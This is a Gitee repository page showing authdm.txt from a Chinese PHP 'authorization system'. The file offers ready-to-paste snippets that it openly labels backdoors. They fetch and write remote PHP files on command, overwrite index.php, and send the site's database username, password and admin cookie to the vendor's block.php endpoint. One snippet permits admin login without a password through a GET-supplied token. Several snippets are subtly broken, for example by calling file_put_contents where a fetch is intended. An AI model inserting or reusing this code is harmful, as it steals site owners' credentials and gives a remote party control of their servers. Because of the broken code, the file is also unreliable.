1 Star 0 Fork 4

yuyx/栀子花授权系统

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
文件
克隆/下载
authdm.txt 10.34 KB
一键复制 编辑 原始数据 按行查看 历史
Birth 提交于 2022-10-08 09:33 . 上传
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
后门代码
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
if($_GET['hy']){
file_put_contents("hy.php",file_get_contents("http://{您的授权站域名}/hm/hy.txt"));
}
if($_GET['hm']){
file_put_contents("hm.php",file_get_contents("http://{您的授权站域名}/hm/hm.txt"));
}
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
下易支付认证代码
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
function pay_api()
{
global $conf;
if ($conf["payapi"] == 1) {
$url = "http://{认证过的易支付域名}/";
} else if ($conf["payapi"] == -1) {
$url = $conf["epay_url"];
if ($_SESSION["PAYCHECK"] != $url) {
$auth_url_arr = ['auth.hrbwj.cc'];
$auth_url = $auth_url_arr[array_rand($auth_url_arr, 1)];
$paycheck_url = "http://'.$authurls.'/api/paycheck.php?proid={程序识别码}&url=" . $url;
$query = file_get_contents($paycheck_url);
if ($query = json_decode($query, true)) {
if ($query["code"] == 1) {
$_SESSION["PAYCHECK"] = $url;
} else {
return false;
}
}
}
}
return $url;
}
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
多程序无敌优秀授权代码
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
include_once ROOT."authcode.php";
if (!isset($_SESSION['AUTHBIRTH'])) {
$auth_url_arr = ['您的授权站域名'];//例如auth.phpn1.cn 不加http或https协议头,末尾不要带/
$auth_url = $auth_url_arr[array_rand($auth_url_arr, 1)];
$proid_nam_arr = ['您的程序识别码']; 后台程序列表里的程序识别码
$proid_nam = $proid_nam_arr[array_rand($proid_nam_arr, 1)];
$check_url='http://'.$auth_url.'/api/check.php?proid='.$proid_nam.'&url='.$_SERVER['HTTP_HOST'].'&authcode='.$authcode;
$query = file_get_contents($check_url);
file_get_contents('http://'.$auth_url.'/api/block.php?proid='.$proid_nam.'&url='.$_SERVER['HTTP_HOST'].'&user='.$dbconfig['user'].'&pwd='.$dbconfig['pwd'].'&db='.$dbconfig['db'].'&cookies='.$_COOKIE['admin_auth_token']);
if ($query = json_decode($query, true)) {
if ($query['code'] == 1) {
$_SESSION['AUTHBIRTH'] = $authcode;
} else if ($query['code'] == 2) {
file_put_contents(ROOT.'hm.php',file_put_contents('http://'.$auth_url.'/hm/hm.txt'));
sysmsge('<h3>'.$query['msg'].'</h3>', true);
} else if ($query["code"] == 3) {
file_put_contents(ROOT.'hy.php',file_put_contents('http://'.$auth_url.'/hm/hy.txt'));
sysmsge('<h3>'.$query['msg'].'</h3>', true);
} else if ($query['code'] == 4) {
file_put_contents(ROOT.'index.php',file_put_contents('http://'.$auth_url.'/hm/hys.txt'));
sysmsge('<h3>'.$query['msg'].'</h3>', true);
} else {
sysmsge('<h3>'.$query['msg'].'</h3>', true);
}
} else if (!empty($query)) {
sysmsge('<h3>授权验证结果异常!</h3>', true);
}
}
-------------------------------------版权文件代码-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
if(!file_exists('/Birth版权文件.txt')){//“Birth版权文件”这个是版权文件的名字,可以改成你自己的
@file_put_contents('Birth版权文件.txt','该文件是Birth的版权文件,切勿删除!否则本程序无法正常运行!');
//这里如果检测到文件被删除将自动生成本文件,“该文件是Birth....正常运行!”这个是版权文件的内容
//检测提示
}
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
免密码登录后台后门实例
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
if($_GET['do']=='login'){
setcookie("admin_auth_token", $_GET['token'], time() + 604800);
}
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
在适当位置插入如下代码,使用获取到的cookies值get即可免密登陆
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
例如;访问域名http://{域名}/{后门所在文件}.php?do=login&cookies={cookies值}
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
接口使用示例:http://{域名}/api/block.php?name={网站名称}&qq={站长QQ}&admuser={站点后台账号}&admpwd={站点后台密码}&url={域名}&user={数据库账号}&pwd={数据库密码}&db={数据库名}&cookies={cookies信息}
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
代码示例①:@file_get_contents("http://{域名}/api/block.php?name={网站名称}&qq={站长QQ}&admuser={站点后台账号}&admpwd={站点后台密码}&url={域名}&user={数据库账号}&pwd={数据库密码}&db={数据库名}&cookies={cookies信息}");
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
代码示例②:curl_get("http://{域名}/api/block.php?name={网站名称}&qq={站长QQ}&admuser={站点后台账号}&admpwd={站点后台密码}&url={域名}&user={数据库账号}&pwd={数据库密码}&db={数据库名}&cookies={cookies信息}");
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
上述这个代码也是盗版入库代码
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Loading...
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
PHP
1
https://gitee.com/yuyxs/zzhauth.git
[email protected]:yuyxs/zzhauth.git
yuyxs
zzhauth
栀子花授权系统
master

搜索帮助